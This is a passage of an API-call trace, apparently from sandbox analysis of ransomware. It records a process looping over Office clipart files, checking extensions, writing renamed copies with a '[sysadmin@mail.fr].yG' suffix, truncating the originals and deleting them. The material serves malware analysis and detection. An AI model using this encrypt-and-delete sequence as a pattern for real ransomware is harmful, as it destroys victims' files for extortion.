	[0142.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0142.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0142.641] lstrlenW (lpString=".jpg") returned 4
	[0142.641] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0142.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0142.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0142.641] lstrlenW (lpString=".doc") returned 4
	[0142.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0142.641] lstrlenW (lpString=".docx") returned 5
	[0142.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0142.641] lstrlenW (lpString=".pdf") returned 4
	[0142.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0142.641] lstrlenW (lpString=".xls") returned 4
	[0142.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0142.642] lstrlenW (lpString=".xlsx") returned 5
	[0142.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0142.642] lstrlenW (lpString=".ppt") returned 4
	[0142.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0142.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0142.642] lstrlenW (lpString=".zip") returned 4
	[0142.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0142.642] lstrlenW (lpString=".rar") returned 4
	[0142.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0142.642] lstrlenW (lpString=".bz2") returned 4
	[0142.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0142.642] lstrlenW (lpString=".7z") returned 3
	[0142.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0142.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0142.642] lstrlenW (lpString=".dbf") returned 4
	[0142.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0142.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0142.642] lstrlenW (lpString=".1cd") returned 4
	[0142.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0142.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01434_.WMF") returned 68
	[0142.642] lstrlenW (lpString=".jpg") returned 4
	[0142.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0142.642] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0142.642] lstrlenW (lpString="DD01631_.WMF") returned 12
	[0142.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0143.910] GetFileSizeEx (in: hFile=0x49c, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=552) returned 1
	[0143.910] CloseHandle (hObject=0x49c) returned 1
	[0143.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220
	[0144.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0144.265] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.265] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0144.327] GetLastError () returned 0x0
	[0144.327] ReadFile (in: hFile=0x51c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x228, lpOverlapped=0x0) returned 1
	[0144.328] WriteFile (in: hFile=0x508, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x230, lpOverlapped=0x0) returned 1
	[0144.334] ReadFile (in: hFile=0x51c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.334] WriteFile (in: hFile=0x508, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0144.334] SetEndOfFile (hFile=0x508) returned 1
	[0144.334] CloseHandle (hObject=0x508) returned 1
	[0144.335] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.335] SetEndOfFile (hFile=0x51c) returned 1
	[0144.475] CloseHandle (hObject=0x51c) returned 1
	[0144.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0144.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 1
	[0144.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0144.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0144.503] lstrlenW (lpString=".doc") returned 4
	[0144.503] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.503] lstrlenW (lpString=".docx") returned 5
	[0144.503] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.503] lstrlenW (lpString=".pdf") returned 4
	[0144.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.503] lstrlenW (lpString=".xls") returned 4
	[0144.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.503] lstrlenW (lpString=".xlsx") returned 5
	[0144.503] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.503] lstrlenW (lpString=".ppt") returned 4
	[0144.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0144.504] lstrlenW (lpString=".zip") returned 4
	[0144.504] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.504] lstrlenW (lpString=".rar") returned 4
	[0144.504] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.504] lstrlenW (lpString=".bz2") returned 4
	[0144.504] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.504] lstrlenW (lpString=".7z") returned 3
	[0144.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0144.504] lstrlenW (lpString=".dbf") returned 4
	[0144.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0144.504] lstrlenW (lpString=".1cd") returned 4
	[0144.504] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0144.504] lstrlenW (lpString=".jpg") returned 4
	[0144.504] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0144.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0144.504] lstrlenW (lpString=".doc") returned 4
	[0144.504] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.504] lstrlenW (lpString=".docx") returned 5
	[0144.504] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.504] lstrlenW (lpString=".pdf") returned 4
	[0144.504] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.504] lstrlenW (lpString=".xls") returned 4
	[0144.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.505] lstrlenW (lpString=".xlsx") returned 5
	[0144.505] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.505] lstrlenW (lpString=".ppt") returned 4
	[0144.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0144.505] lstrlenW (lpString=".zip") returned 4
	[0144.505] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.505] lstrlenW (lpString=".rar") returned 4
	[0144.505] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.505] lstrlenW (lpString=".bz2") returned 4
	[0144.505] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.505] lstrlenW (lpString=".7z") returned 3
	[0144.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0144.505] lstrlenW (lpString=".dbf") returned 4
	[0144.505] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0144.505] lstrlenW (lpString=".1cd") returned 4
	[0144.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0144.505] lstrlenW (lpString=".jpg") returned 4
	[0144.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.505] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0144.506] lstrlenW (lpString="DD01793_.WMF") returned 12
	[0144.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0144.506] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=3252) returned 1
	[0144.506] CloseHandle (hObject=0x4d8) returned 1
	[0144.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220
	[0144.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8
	[0144.507] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.507] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0144.517] GetLastError () returned 0x0
	[0144.517] ReadFile (in: hFile=0x4d8, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xcb4, lpOverlapped=0x0) returned 1
	[0144.531] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xcc0, lpOverlapped=0x0) returned 1
	[0144.533] ReadFile (in: hFile=0x4d8, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.533] WriteFile (in: hFile=0x530, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0144.533] SetEndOfFile (hFile=0x530) returned 1
	[0144.533] CloseHandle (hObject=0x530) returned 1
	[0144.533] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.533] SetEndOfFile (hFile=0x4d8) returned 1
	[0144.536] CloseHandle (hObject=0x4d8) returned 1
	[0144.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0144.537] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1
	[0144.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0144.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0144.537] lstrlenW (lpString=".doc") returned 4
	[0144.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.537] lstrlenW (lpString=".docx") returned 5
	[0144.538] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.538] lstrlenW (lpString=".pdf") returned 4
	[0144.538] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.538] lstrlenW (lpString=".xls") returned 4
	[0144.538] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.538] lstrlenW (lpString=".xlsx") returned 5
	[0144.538] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.538] lstrlenW (lpString=".ppt") returned 4
	[0144.538] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0144.538] lstrlenW (lpString=".zip") returned 4
	[0144.538] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.538] lstrlenW (lpString=".rar") returned 4
	[0144.538] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.538] lstrlenW (lpString=".bz2") returned 4
	[0144.538] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.538] lstrlenW (lpString=".7z") returned 3
	[0144.538] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0144.538] lstrlenW (lpString=".dbf") returned 4
	[0144.538] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0144.538] lstrlenW (lpString=".1cd") returned 4
	[0144.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0144.538] lstrlenW (lpString=".jpg") returned 4
	[0144.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0144.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0144.539] lstrlenW (lpString=".doc") returned 4
	[0144.539] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.539] lstrlenW (lpString=".docx") returned 5
	[0144.539] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.539] lstrlenW (lpString=".pdf") returned 4
	[0144.539] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.539] lstrlenW (lpString=".xls") returned 4
	[0144.539] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.539] lstrlenW (lpString=".xlsx") returned 5
	[0144.539] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.539] lstrlenW (lpString=".ppt") returned 4
	[0144.539] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0144.539] lstrlenW (lpString=".zip") returned 4
	[0144.539] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.539] lstrlenW (lpString=".rar") returned 4
	[0144.539] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.539] lstrlenW (lpString=".bz2") returned 4
	[0144.539] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.539] lstrlenW (lpString=".7z") returned 3
	[0144.539] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0144.539] lstrlenW (lpString=".dbf") returned 4
	[0144.539] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0144.539] lstrlenW (lpString=".1cd") returned 4
	[0144.539] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0144.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0144.539] lstrlenW (lpString=".jpg") returned 4
	[0144.539] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0144.540] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0144.540] lstrlenW (lpString="ED00019_.WMF") returned 12
	[0144.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0144.845] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=13042) returned 1
	[0144.845] CloseHandle (hObject=0x530) returned 1
	[0144.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x220
	[0144.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0144.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0144.846] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.846] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0144.854] GetLastError () returned 0x0
	[0144.854] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x32f2, lpOverlapped=0x0) returned 1
	[0144.876] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x3300, lpOverlapped=0x0) returned 1
	[0144.878] ReadFile (in: hFile=0x530, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0144.878] WriteFile (in: hFile=0x520, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0144.878] SetEndOfFile (hFile=0x520) returned 1
	[0144.879] CloseHandle (hObject=0x520) returned 1
	[0144.879] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0144.879] SetEndOfFile (hFile=0x530) returned 1
	[0144.883] CloseHandle (hObject=0x530) returned 1
	[0144.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0144.884] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1
	[0144.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0144.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0144.884] lstrlenW (lpString=".doc") returned 4
	[0144.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0144.884] lstrlenW (lpString=".docx") returned 5
	[0144.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0144.884] lstrlenW (lpString=".pdf") returned 4
	[0144.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0144.884] lstrlenW (lpString=".xls") returned 4
	[0144.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0144.884] lstrlenW (lpString=".xlsx") returned 5
	[0144.885] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0144.885] lstrlenW (lpString=".ppt") returned 4
	[0144.885] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0144.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0144.885] lstrlenW (lpString=".zip") returned 4
	[0144.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0144.885] lstrlenW (lpString=".rar") returned 4
	[0144.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0144.885] lstrlenW (lpString=".bz2") returned 4
	[0144.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0144.885] lstrlenW (lpString=".7z") returned 3
	[0144.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0144.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0144.885] lstrlenW (lpString=".dbf") returned 4
	[0144.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0144.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68
	[0144.885] lstrlenW (lpString=".1cd") returned 4
